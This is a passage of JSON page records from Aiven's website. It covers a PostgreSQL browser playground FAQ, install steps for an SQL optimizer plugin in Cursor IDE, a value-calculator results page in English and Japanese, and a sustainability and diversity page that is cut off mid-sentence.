{"__i18n_lang":"en","_createdAt":"2024-12-05T07:56:04Z","_id":"b5993f84-5248-49e7-8e75-c6be58365e05","_rev":"UPIPX87Xr8dUQrGWDx9kep","_type":"page","_updatedAt":"2024-12-05T07:56:04Z","content":[{"_key":"bb1ffacff8bb","_type":"accordion","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"headerPosition":"default","isFaqAccordion":true,"items":[{"_key":"6ca490019ba2","_type":"accordionItem","panelText":[{"_key":"44863ba8f1bd","_type":"block","children":[{"_key":"10d3bff493040","_type":"span","marks":[],"text":"The Postgres Playground is an online PostgreSQL database that runs directly in your browser. It’s a simple, no-setup solution for testing SQL queries and learning PostgreSQL."}],"markDefs":[],"style":"normal"},{"_key":"53796318550c","_type":"block","children":[{"_key":"4fb3e9899cf30","_type":"span","marks":[],"text":"\n"}],"markDefs":[],"style":"normal"}],"title":"What is the PostgreSQL Playground?"},{"_key":"84d95b6b8960","_type":"accordionItem","panelText":[{"_key":"a1608c111b45","_type":"block","children":[{"_key":"e0269a5789800","_type":"span","marks":[],"text":"Data in the Postgres Playground is temporary. It is stored only in your browser’s memory and will disappear when you close or refresh the browser. It is not saved to disk or stored in browser local storage."}],"markDefs":[],"style":"normal"}],"title":"How long does data persist in the PostgreSQL Playground?"},{"_key":"fafb2b72fdd7","_type":"accordionItem","panelText":[{"_key":"a7a4432a79bb","_type":"block","children":[{"_key":"4717df9799330","_type":"span","marks":[],"text":"Yes, your data and SQL code remain secure. All operations are executed locally in your browser, and we do not store your queries or data on any external servers."}],"markDefs":[],"style":"normal"}],"title":"Is my data and code secure when using the PostgreSQL Playground?"},{"_key":"0094cbae0e4d","_type":"accordionItem","panelText":[{"_key":"4b5dc550dc6d","_type":"block","children":[{"_key":"35469f62c8280","_type":"span","marks":[],"text":"Your privacy is our priority. We collect minimal, anonymized data to enhance the tool’s performance and user experience. This data includes:"}],"markDefs":[],"style":"normal"},{"_key":"b4559cf418ce","_type":"block","children":[{"_key":"4713e559708c0","_type":"span","marks":[],"text":"The length of your SQL query."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"c70eb9bac4b0","_type":"block","children":[{"_key":"a33d620d425d0","_type":"span","marks":[],"text":"Whether the query executed successfully."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"0e03870bb075","_type":"block","children":[{"_key":"0f9d895587030","_type":"span","marks":[],"text":"Internal error messages (only in rare cases for troubleshooting)."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"192ccb9f5dee","_type":"block","children":[{"_key":"1959e9bc2bb20","_type":"span","marks":[],"text":"These internal error logs do not include your original SQL code or syntax errors you see in the tool. Additionally, this data is not shared with third parties."}],"markDefs":[],"style":"normal"}],"title":"How does the PostgreSQL Playground protect your privacy?"}],"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","title":"PostgreSQL Playground FAQ","topOverlap":false}],"resourceTag":{"_type":"resourceTag","contentType":{"_ref":"61d06542-93ca-4a1b-b925-69b3a7c6285d","_type":"reference"},"tags":[{"_key":"9c16281fe507","_ref":"7585568a-42e1-4b7a-ba53-f416ed7c4ce2","_type":"tag"}]},"seo":{"_type":"metaData","metaDescription":"Free PostgreSQL online playground environment to test your PostgreSQL queries in a sandbox environment. It's a free PostgreSQL Fiddle tool to run your SQL queries.","metaImage":{"_type":"mainImage","alt":"PostgreSQL playground. use our playground as an online postgresql instance, an instant postgresql fiddle","asset":{"_ref":"image-25114174008b1111f5ce2173d0213783635e3f8a-1200x630-png","_type":"reference"}},"metaTitle":"PostgreSQL Online | PostgreSQL Playground | PostgreSQL Fiddle and Sandbox"},"slug":{"_type":"slug","current":"/tools/pg-playground"},"tags":[{"_key":"b56da04db1d9","_ref":"7585568a-42e1-4b7a-ba53-f416ed7c4ce2","_type":"tag"}],"title":"Free PostgreSQL Online Playground"} {"__i18n_lang":"en","_createdAt":"2024-12-25T15:15:35Z","_id":"13b27dd5-ebf7-4520-a96e-31b9e6e9512c","_rev":"w5Y1buu43ZclY4xZaA4ukc","_type":"page","_updatedAt":"2025-01-12T13:42:24Z","content":[{"_key":"36ec54d1df6b","_type":"hero","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","breadcrumbs":{"currentPage":"Optimize your SQL Query directly from Cursor IDE"},"description":[{"_key":"8376971373a4","_type":"block","children":[{"_key":"17681b941740","_type":"span","marks":[],"text":"From your Cursor IDE (Mac)"}],"markDefs":[],"style":"normal"},{"_key":"357b789a80d2","_type":"block","children":[{"_key":"7f67cb06fcb6","_type":"span","marks":[],"text":"In the menu, click on Cursor -\u003e settings -\u003e extensions"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"775ba45ab5ed","_type":"block","children":[{"_key":"41fbc009d750","_type":"span","marks":[],"text":"In the search box, type \"SQL Optimizer\""}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"d8718848ddb8","_type":"block","children":[{"_key":"46460a6639fe","_type":"span","marks":[],"text":"Click on \"SQL Optimizer by Aiven\""}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"f42e3512681a","_type":"block","children":[{"_key":"4914664abdc3","_type":"span","marks":[],"text":"Install the plugin"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"96bd45fb3b43","_type":"block","children":[{"_key":"4809d042bb3c","_type":"span","marks":[],"text":"Right click on an highlighted SQL query -\u003e click \"Optimize SQL with Aiven\""}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"}],"disabled":false,"fullWidth":false,"heroHasVideo":true,"imageSize":"default","noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","title":"Optimize your SQL Query directly from Cursor IDE","titleMultiColor":false,"topOverlap":false,"variant":"default","videoHosting":"youtube","ytId":"cOJyusX88K8"}],"seo":{"_type":"metaData","metaDescription":"Install the SQL Optimizer plugin for Cursor IDE to improve query performance. Follow this quick guide by Aiven to optimize your SQL workflows with ease","metaTitle":"Install the SQL Optimizer Plugin for Cursor IDE | Aiven"},"slug":{"_type":"slug","current":"/tools/sql-optimizer-for-cursor-installation-guide"},"title":"SQL Optimizer for Cursor: Installation guide"} {"__i18n_lang":"en","_createdAt":"2022-09-26T15:24:36Z","_id":"b88bda78-8e9f-4964-b569-75719862b219","_rev":"dl6sBLkN4BMAndS1z815F4","_type":"page","_updatedAt":"2024-04-02T10:39:36Z","content":[{"_key":"0e408e63534c","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","columnOne":[{"_key":"7d9a24032111","_type":"block","children":[{"_key":"999f86a688d60","_type":"span","marks":[],"text":"Get your personalized report"}],"markDefs":[],"style":"h3"},{"_key":"f1f6432cb7a3","_type":"block","children":[{"_key":"a5423669a959","_type":"span","marks":[],"text":"Based on the data you provided, we’ve created a personalized info package showing how we arrived at those figures, and more details on exactly how your company can save a fortune with Aiven’s fully managed services."}],"markDefs":[],"style":"normal"},{"_key":"e4fc7b4a31cc","_type":"block","children":[{"_key":"d050e9ce4b1b0","_type":"span","marks":[],"text":"Download your report to see exactly where you can save."}],"markDefs":[],"style":"normal"},{"_key":"27d3c68e6b8f","_type":"iframe","addSpaceBottom":false,"addSpaceTop":false,"align":"left","backgroundPosition":"center center","disabled":false,"fullWidth":false,"iframeHeight":130,"iframeSource":"https://go.aiven.io/l/890043/2022-05-24/96725i","iframeTitle":"Aiven Value Calculator personalization email","isPardotForm":true,"noSpaceBottom":false,"noSpaceTop":false,"pardotFormType":"download","rounded":false}],"columnTwo":[{"_key":"d8da1f348f56","_type":"block","children":[{"_key":"f56f35f516480","_type":"span","marks":[],"text":"Your report includes:"}],"markDefs":[],"style":"h3"},{"_key":"abbe087e6a0a","_type":"block","children":[{"_key":"c6ac7ec810f10","_type":"span","marks":["strong"],"text":"Full details"},{"_key":"c6ac7ec810f11","_type":"span","marks":[],"text":" on how and where you’ll save time and money with Aiven"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"1742be8ed2f8","_type":"block","children":[{"_key":"a8cac944bed50","_type":"span","marks":["strong"],"text":"Background info"},{"_key":"a8cac944bed51","_type":"span","marks":[],"text":" on how we made these calculations to help you make the case for managed data infrastructure"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"7984739bb2fb","_type":"block","children":[{"_key":"2b35c4a55e4e0","_type":"span","marks":["strong"],"text":"Free access to the full IDC White Paper"},{"_key":"2b35c4a55e4e1","_type":"span","marks":[],"text":": The Business Value of Aiven Data Cloud"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"e0cc612430c2","_type":"block","children":[{"_key":"e7eaf4af95d70","_type":"span","marks":["strong"],"text":"$500 discount code"},{"_key":"e7eaf4af95d71","_type":"span","marks":[],"text":" to save even more money on a new trial"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"}],"disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"variant":"twoColumn"},{"_key":"059dbcf0596e","_type":"textImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"backgroundPosition":"center center","disabled":false,"fullWidth":true,"image":{"_type":"mainImage","asset":{"_ref":"image-7fa7f93569c77f2d9e85f431efe5185d425a7b9b-900x779-png","_type":"reference"}},"narrowImage":true,"noSpaceBottom":false,"noSpaceTop":false,"primaryCTA":{"_type":"link","externalUrl":"https://go.aiven.io/console/signup","title":"Get started for free"},"rounded":false,"text":[{"_key":"fe06a72c6711","_type":"block","children":[{"_key":"e859612220760","_type":"span","marks":[],"text":"Spin up services in Aiven in 10 minutes – and start saving today!"}],"markDefs":[],"style":"normal"}],"title":"Jump right in","variant":"mediaLeft"},{"_key":"42bd634513ea92cda19090514a0cc3df","_type":"textImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","disabled":false,"fullWidth":true,"image":{"_type":"mainImage","asset":{"_ref":"image-ba2c3278c34b5e059c22353862bc199728a2ab04-800x717-png","_type":"reference"}},"narrowImage":true,"noSpaceBottom":false,"noSpaceTop":false,"primaryCTA":{"_type":"link","internalLink":{"_ref":"8930abef-2819-4638-b11a-a3a2e33e18ff","_type":"reference"},"title":"Book a demo"},"rounded":false,"text":[{"_key":"c7da460a9826","_type":"block","children":[{"_key":"a42804e3980c0","_type":"span","marks":[],"text":"We know moving to fully managed data services is a big decision – but our team is here help! We’ll show you how Aiven takes your data infra worries away, and help find the solution that works best for you.\n\nBook a demo with an Aiven expert – and we'll help you transform your business."}],"markDefs":[],"style":"normal"}],"title":"Let’s talk numbers","variant":"mediaRight"}],"seo":{"_type":"metaData","excludeFromSitemap":true,"metaDescription":"Find out how much you'll save when Aiven handles your data infrastructure. Our calculator takes just 3 minutes – and could save you a small fortune.","metaImage":{"_type":"mainImage","asset":{"_ref":"image-86750f6c428dd10568c02e99ed26c74f21468f6e-1200x630-jpg","_type":"reference"}},"metaTitle":"Aiven value calculator - Save time and money with Aiven"},"slug":{"_type":"slug","current":"/aiven-value-calculator/results"},"title":"Aiven value calculator - Result"} {"__i18n_lang":"ja","_createdAt":"2022-09-26T15:24:36Z","_id":"b88bda78-8e9f-4964-b569-75719862b219__i18n_ja","_rev":"sg5cBJWkRHo7pkcz4RG2OH","_type":"page","_updatedAt":"2023-12-21T08:32:00Z","content":[{"_key":"0e408e63534c","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","columnOne":[{"_key":"7d9a24032111","_type":"block","children":[{"_key":"999f86a688d60","_type":"span","marks":[],"text":"パーソナライズされたレポート"}],"markDefs":[],"style":"h3"},{"_key":"f8ba14c795b3","_type":"block","children":[{"_key":"5afca2590160","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"767444625d2b","_type":"block","children":[{"_key":"7071df973ebb","_type":"span","marks":[],"text":"ご提供いただいたデータに基づいて作成されたレポートは、Aivenのフルマネージドサービスをご利用いただくことで、どのようなコスト削減が可能になるのか、その詳細についてご説明しています。"}],"markDefs":[],"style":"normal"},{"_key":"b152b3c9a52d","_type":"block","children":[{"_key":"a8e78b603c460","_type":"span","marks":[],"text":"レポートをダウンロードして、具体的な内容について確認してください。"}],"markDefs":[],"style":"normal"},{"_key":"27d3c68e6b8f","_type":"iframe","addSpaceBottom":false,"addSpaceTop":false,"align":"left","backgroundPosition":"center center","disabled":false,"fullWidth":false,"iframeHeight":130,"iframeSource":"https://go.aiven.io/l/890043/2022-05-24/96725i","iframeTitle":"Aiven Value Calculator personalization email","noSpaceBottom":false,"noSpaceTop":false,"rounded":false}],"columnTwo":[{"_key":"d8da1f348f56","_type":"block","children":[{"_key":"136d62366cd7","_type":"span","marks":[],"text":"レポートには以下が含まれています。"}],"markDefs":[],"style":"h3"},{"_key":"57090273a266","_type":"block","children":[{"_key":"d3c4be1edb14","_type":"span","marks":[],"text":"Aivenを利用することで、時間とコストをどのように削減できるかに関する"},{"_key":"39c9e084cadf","_type":"span","marks":["strong"],"text":"詳細情報"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"30ad8938e69f","_type":"block","children":[{"_key":"2463cde51d57","_type":"span","marks":[],"text":"マネージドデータインフラストラクチャの導入を検討する際に役立つ、計算方法に関する"},{"_key":"bef1dfa74178","_type":"span","marks":["strong"],"text":"背景情報"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"5e56483d921f","_type":"block","children":[{"_key":"b288c6a45cc6","_type":"span","marks":[],"text":"IDCのホワイトペーパー「Aivenデータクラウドのビジネス価値」への"},{"_key":"b2023ef7fb2a","_type":"span","marks":["strong"],"text":"アクセス(無料)"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"a7e1c8ee1488","_type":"block","children":[{"_key":"f8f23de5a62b","_type":"span","marks":[],"text":"新規トライアルでの使用できる"},{"_key":"218326fe1066","_type":"span","marks":["strong"],"text":"500ドル分のクレジットコード"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"}],"disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"variant":"twoColumn"},{"_key":"059dbcf0596e","_type":"textImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"backgroundPosition":"center center","disabled":false,"fullWidth":true,"image":{"_type":"mainImage","asset":{"_ref":"image-7fa7f93569c77f2d9e85f431efe5185d425a7b9b-900x779-png","_type":"reference"}},"narrowImage":true,"noSpaceBottom":false,"noSpaceTop":false,"primaryCTA":{"_type":"link","externalUrl":"https://go.aiven.io/console/signup","title":"無料で始める"},"rounded":false,"text":[{"_key":"178332e02bd0","_type":"block","children":[{"_key":"69c4b51509770","_type":"span","marks":[],"text":"Aivenでサービスを10分で立ち上げ、今日からコスト削減を始めましょう。"}],"markDefs":[],"style":"normal"}],"title":"すぐに始めましょう","variant":"mediaLeft"},{"_key":"42bd634513ea92cda19090514a0cc3df","_type":"textImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","disabled":false,"fullWidth":true,"image":{"_type":"mainImage","asset":{"_ref":"image-ba2c3278c34b5e059c22353862bc199728a2ab04-800x717-png","_type":"reference"}},"narrowImage":true,"noSpaceBottom":false,"noSpaceTop":false,"primaryCTA":{"_type":"link","internalLink":{"_ref":"8930abef-2819-4638-b11a-a3a2e33e18ff__i18n_ja","_type":"reference"},"title":"お問合せ"},"rounded":false,"text":[{"_key":"5ad54d035277","_type":"block","children":[{"_key":"3f23831c17f70","_type":"span","marks":[],"text":"フルマネージドデータサービスへ移行することは重要な決断ですが、私たちのチームがお手伝いします。Aivenがどのようにデータインフラの悩みを解消し、最適なソリューションを見つけたら良いかご相談に乗ります。"}],"markDefs":[],"style":"normal"},{"_key":"dd6c0a4a95e3","_type":"block","children":[{"_key":"ee5e41ccf52b","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"f472ff8aa0bf","_type":"block","children":[{"_key":"52174474ab7c0","_type":"span","marks":[],"text":"Aivenへお問い合わせください。ビジネスの変革をご支援いたします。"}],"markDefs":[],"style":"normal"}],"title":"コスト削減について","variant":"mediaRight"}],"seo":{"_type":"metaData","excludeFromSitemap":true,"metaDescription":"Aivenにデータインフラをお任せいただくと、どれだけのコスト削減が可能か、調べてみてください。わずか3分で計算でき、かなりのコストを削減できる可能性があります。","metaImage":{"_type":"mainImage","asset":{"_ref":"image-86750f6c428dd10568c02e99ed26c74f21468f6e-1200x630-jpg","_type":"reference"}},"metaTitle":"Aivenがもたらす価値 - Aivenで時間とコストを削減しましょう"},"slug":{"_type":"slug","current":"/aiven-value-calculator/results"},"title":"Aivenがもたらす価値 - 計算結果"} {"__i18n_lang":"en","_createdAt":"2022-12-12T11:14:19Z","_id":"5c8b6345-6c17-4a8c-8ff1-fa2e51c3764a","_rev":"CK5Oetwu6foT4G1mbOG4so","_type":"page","_updatedAt":"2024-05-20T15:10:27Z","content":[{"_key":"ee5ffb4a8a72","_type":"hero","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","description":[{"_key":"f026567dd9c0","_type":"block","children":[{"_key":"d772e1022e1d0","_type":"span","marks":[],"text":"Aiven aims to build a world where open source technology is developed by everyone, for everyone – with the good of the people and our environment in mind."}],"markDefs":[],"style":"normal"}],"disabled":false,"fullWidth":false,"image":{"_type":"mainImage","alt":"Flowers bloom on a tree branch for Aiven Sustainability","asset":{"_ref":"image-16c7de68fc6d2250e1772012812467a2bf36630d-1667x1352-png","_type":"reference"}},"isImageLarge":false,"noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"tagline":"Sustainability","title":"Sustainable data infrastructure for everyone","variant":"default"},{"_key":"902288dfd1cf","_type":"textImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","disabled":false,"fullWidth":false,"image":{"_type":"mainImage","alt":"A leafy branch springs out of a laptop screen - Aiven Sustainability","asset":{"_ref":"image-1508f5be067b5d5f2b1a1e21af7a8bf34693b52e-1667x1667-png","_type":"reference"}},"imagePosition":"center","narrowImage":true,"noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"text":[{"_key":"6831d2ba22ba","_type":"block","children":[{"_key":"64fe5c7a914a0","_type":"span","marks":[],"text":"At Aiven, we want to be responsible and do the right thing in every aspect of our business, and that necessarily involves addressing the parts of our operations that might contribute to climate change."}],"markDefs":[],"style":"normal"},{"_key":"1058aa5edc80","_type":"block","children":[{"_key":"2573bd3ed4bd","_type":"span","marks":[],"text":"We know that the environmental footprint of innovative data technologies is significant, both for us and for our customers. While cloud platforms are more energy efficient than non-cloud implementations, we still want – and need – to minimize our own carbon footprint, and our customers’."}],"markDefs":[],"style":"normal"},{"_key":"675b1a079be9","_type":"block","children":[{"_key":"832a0824e22a","_type":"span","marks":[],"text":"But that’s not enough in itself. We believe our responsibility to sustainability initiatives – and how we can help end climate change – goes much further than that."}],"markDefs":[],"style":"normal"},{"_key":"4bae5971169c","_type":"block","children":[{"_key":"3b2ca03b2e10","_type":"span","marks":[],"text":"It’s not only about reducing our environmental footprint. It’s about building a diverse and inclusive workforce that is committed to driving change. It’s about democratizing access to technology, so new solutions can be created. It’s about supporting other initiatives that align with these values."}],"markDefs":[],"style":"normal"},{"_key":"e845419eedad","_type":"block","children":[{"_key":"8a5d88437953","_type":"span","marks":[],"text":"It’s about contributing to the creation of a society that has openness and change at its heart."}],"markDefs":[],"style":"normal"}],"title":"Building sustainability and driving social impact","variant":"mediaLeft"},{"_key":"85f2653be355","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","columnOne":[{"_key":"69d7580dde9a","_type":"block","children":[{"_key":"49349abfe2a1","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"h2"}],"disabled":false,"fullWidth":false,"noSpaceBottom":true,"noSpaceTop":false,"rounded":false,"subtitle":[{"_key":"14ed84bd29a2","_type":"block","children":[{"_key":"08df85c745c9","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"h2"}],"tagline":"Vision and objectives","title":"A sustainable vision for the future","variant":"oneColumn"},{"_key":"d3bf9a271569624c6a3813b4e5a6f1f5","_type":"iconList","addSpaceBottom":false,"addSpaceTop":false,"backgroundImage":{"_type":"mainImage","asset":{"_ref":"image-2f674d38474e85faedcbdf818c98a032444fddd7-3000x1875-png","_type":"reference"}},"backgroundPosition":"center bottom","disabled":false,"fullWidth":false,"headerPosition":"left","iconSize":24,"icons":[{"_key":"f20ff23c123e","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-435d043577e573cf52cc80d6388ab983fa8cb2b4-25x24-svg","_type":"reference"}},"subtitle":[{"_key":"b785273edb79","_type":"block","children":[{"_key":"f4c0b46103b10","_type":"span","marks":[],"text":"Map and minimize Aiven’s own environmental footprint, and help our customers and other organizations in reach their environmental sustainability goals"}],"markDefs":[],"style":"normal"}],"title":"Climate"},{"_key":"b7e7acec1ab2","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-6390718f0f0f1312203b807186b5dad5da4a80be-25x24-svg","_type":"reference"}},"subtitle":[{"_key":"f216b0a0beb6","_type":"block","children":[{"_key":"d21408ca24e90","_type":"span","marks":[],"text":"Support Aiven employees in working for meaningful, value-champion causes, and democratize access to new technologies and ways of utilizing data"}],"markDefs":[],"style":"normal"}],"title":"Social impact"},{"_key":"3ed401d06e81","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-c368f51b75e646afb9e988f72627e49f7a0bc862-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"8db735931c35","_type":"block","children":[{"_key":"28210709cc300","_type":"span","marks":[],"text":"Build an inclusive workplace where people thrive as their authentic selves, and contribute towards making the technology industry more diverse"}],"markDefs":[],"style":"normal"}],"title":"DEI"}],"noSpaceBottom":true,"noSpaceTop":true,"rounded":false,"subtitle":[{"_key":"fc226321bb84","_type":"block","children":[{"_key":"783539605e3d","_type":"span","marks":[],"text":"At Aiven, we want to challenge ourselves to define what being a socially and environmentally responsible company means, and translate that definition into tangible actions and improvements."}],"markDefs":[],"style":"normal"},{"_key":"c3c6a08224a7","_type":"block","children":[{"_key":"886968bec232","_type":"span","marks":[],"text":"We seek to align our social and environmental efforts with our business objectives and key initiatives, and develop both quantitative and qualitative metrics to measure and report on our progress."}],"markDefs":[],"style":"normal"},{"_key":"bf404326e081","_type":"block","children":[{"_key":"c704c39551fa0","_type":"span","marks":[],"text":"To achieve this, our sustainability program is working in three interlinked threads: Climate, Social Impact, and Diversity, Equity and Inclusion."}],"markDefs":[],"style":"normal"},{"_key":"fef5d8a0acdf","_type":"block","children":[{"_key":"ed9f8adb69360","_type":"span","marks":[],"text":"By weaving these threads together, we aim to take an active role in increasing inclusivity in the tech industry in order to generate a more sustainable and socially conscious world."}],"markDefs":[],"style":"normal"}],"variant":"header-left"},{"_key":"4736d7089dd2","_type":"textImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","disabled":true,"fullWidth":false,"image":{"_type":"mainImage","alt":"Aiven Sustainability timeline","asset":{"_ref":"image-f6a3921dfc45c2211f5d28d78eb931edff8d7bd6-1192x415-svg","_type":"reference"}},"imagePosition":"center","noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"tagline":"Timeline","text":[{"_key":"4363f719b9da","_type":"block","children":[{"_key":"b895efd49ae60","_type":"span","marks":[],"text":"For any company, reaching sustainability goals is a long process. Right from the start we want to be transparent about that process and the steps we’re taking on the journey. We know the path might sometimes be hard, but we believe that by making this information open we hope to encourage other companies to take similar steps."}],"markDefs":[],"style":"normal"}],"title":"Cultivating transparency","variant":"mediaCenter"},{"_key":"f04dd3c26e48","_type":"textImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","disabled":false,"fullWidth":false,"image":{"_type":"mainImage","alt":"A thermometer shows rising temperatures - Aiven Sustainability Climate track","asset":{"_ref":"image-8a44c3e2466eae93981ff3a3fdd00cb1e41061d3-1667x1790-png","_type":"reference"}},"imagePosition":"center","narrowImage":true,"noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"tagline":"Sustainability","text":[{"_key":"fc3b30573732","_type":"block","children":[{"_key":"86ab05bb424b","_type":"span","marks":[],"text":"Aiven wants to map and minimize Aiven’s own environmental footprint, but our ambition is not limited to that. We want to go much further."}],"markDefs":[],"style":"normal"},{"_key":"b5238e1b8b1f","_type":"block","children":[{"_key":"30188bb626ca","_type":"span","marks":[],"text":"Our first steps are to map out and minimize our own environmental footprint – collecting baseline data for Aiven’s CO2 emissions and tracking the share of renewable energy use so we can set targets and minimize our environmental impact. But we recognize this is only half the solution."}],"markDefs":[],"style":"normal"},{"_key":"f0fd42be1c5b","_type":"block","children":[{"_key":"f984887804760","_type":"span","marks":[],"text":"We also want to assist our customers and other organizations reach their environmental sustainability goals by helping them understand the environmental impact of their use of Aiven services, and highlighting the ways that they can reduce their environmental footprint (e.g. through compensation, optimizing energy sources by cloud vendor / region, reducing overconsumption)"}],"markDefs":[],"style":"normal"}],"title":"Climate track","variant":"mediaRight"},{"_key":"0e560929db2a","_type":"textImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","disabled":false,"fullWidth":false,"image":{"_type":"mainImage","alt":"Three different leafy plants represent Aiven's DEI initiative","asset":{"_ref":"image-d9b37ba6492e46aabfc5c37258d54f5707dc787c-1667x1979-png","_type":"reference"}},"imagePosition":"center","narrowImage":true,"noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"tagline":"Diversity, equity, inclusion","text":[{"_key":"60249ee461ae","_type":"block","children":[{"_key":"467bfacc80550","_type":"span","marks":[],"text":"It’s widely acknowledged that the tech industry can do a lot better when building diverse and inclusive environments – at Aiven, we believe the work to achieve this begins at home, and that’s why we’re strongly committed to building a more diverse and inclusive company."}],"markDefs":[],"style":"normal"},{"_key":"7930f4d55f2b","_type":"block","children":[{"_key":"a8d5eb8c622a0","_type":"span","marks":[],"text":"We want our culture to reflect our open source roots: it is our responsibility to make Aiven accessible and open to everyone, and to make our workforce reflect the whole developer community."}],"markDefs":[],"style":"normal"},{"_key":"41b80382864a","_type":"block","children":[{"_key":"dd1521b3ce380","_type":"span","marks":[],"text":"By 2025, we want the diversity of Aiven’s workforce to be aligned with industry benchmarks in the markets where we are present. We build solid people processes that support the equitable treatment of all employees, and we’re focusing on shaping up our internal DEI efforts to make sure we live up to our principles and set an inspiring example."}],"markDefs":[],"style":"normal"},{"_key":"7e840c163dde","_type":"block","children":[{"_key":"43a0e675277a0","_type":"span","marks":[],"text":"Recent activities"}],"markDefs":[],"style":"normal"},{"_key":"787c550d2a26","_type":"block","children":[{"_key":"319db4cc9096","_type":"span","marks":[],"text":"Setting up foundational structures such as a DEI strategy and DEI council to make sure DEI is embedded in everything we do at Aiven"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"2d0c77042ac9","_type":"block","children":[{"_key":"6d1fbc9204e8","_type":"span","marks":[],"text":"Focusing on shaping our hiring process and upskilling our hiring managers to make sure we are using a wide scope of actions that make us successful in hiring diverse talent"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"2c16f815c5d8","_type":"block","children":[{"_key":"5a94f400df8a","_type":"span","marks":[],"text":"Building internal affinity communities to make sure we can provide a meaningful experience for and platform for underrepresented groups working at Aiven\n"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"}],"title":"Deeper into DEI","variant":"mediaLeft"},{"_key":"587453d0caa1","_type":"textImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","disabled":false,"fullWidth":false,"image":{"_type":"mainImage","alt":"A hand supports the growth of a new seedling - Aiven Social Impact","asset":{"_ref":"image-3e17fa288872d1923edf0e1a9111141fa24bf5d8-1771x1612-png","_type":"reference"}},"imagePosition":"center","narrowImage":true,"noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"tagline":"Social impact","text":[{"_key":"cf96fa41192b","_type":"block","children":[{"_key":"00a5e7535f3a0","_type":"span","marks":[],"text":"Our Social Impact track has two primary goals centered around the democratization of technology, and supporting causes aligned with our values."}],"markDefs":[],"style":"normal"},{"_key":"3c57ce4a6470","_type":"block","children":[{"_key":"a705cc1a3aaa0","_type":"span","marks":[],"text":"First, we want to democratize access to new technologies and ways of utilizing data so more people can contribute to the development of the society and economy. Whether it’s helping smaller companies compete against established corporations, or helping non-profits build services with a purpose, we want to lower the barrier of entry to the market to allow more people to participate in the economy."}],"markDefs":[],"style":"normal"},{"_key":"5b335c407e3d","_type":"block","children":[{"_key":"3b80ef9dc6410","_type":"span","marks":[],"text":"Initiatives such as our "},{"_key":"78c7463a8e55","_type":"span","marks":["6283ce84023c"],"text":"Cluster startup program"},{"_key":"35b9288fb60a","_type":"span","marks":[],"text":" and "},{"_key":"870d2a851c61","_type":"span","marks":["8e0855a39f35"],"text":"Open Source Program Office"},{"_key":"789fa76c486b","_type":"span","marks":[],"text":" (OSPO) are examples of the first steps we’ve taken to achieve this 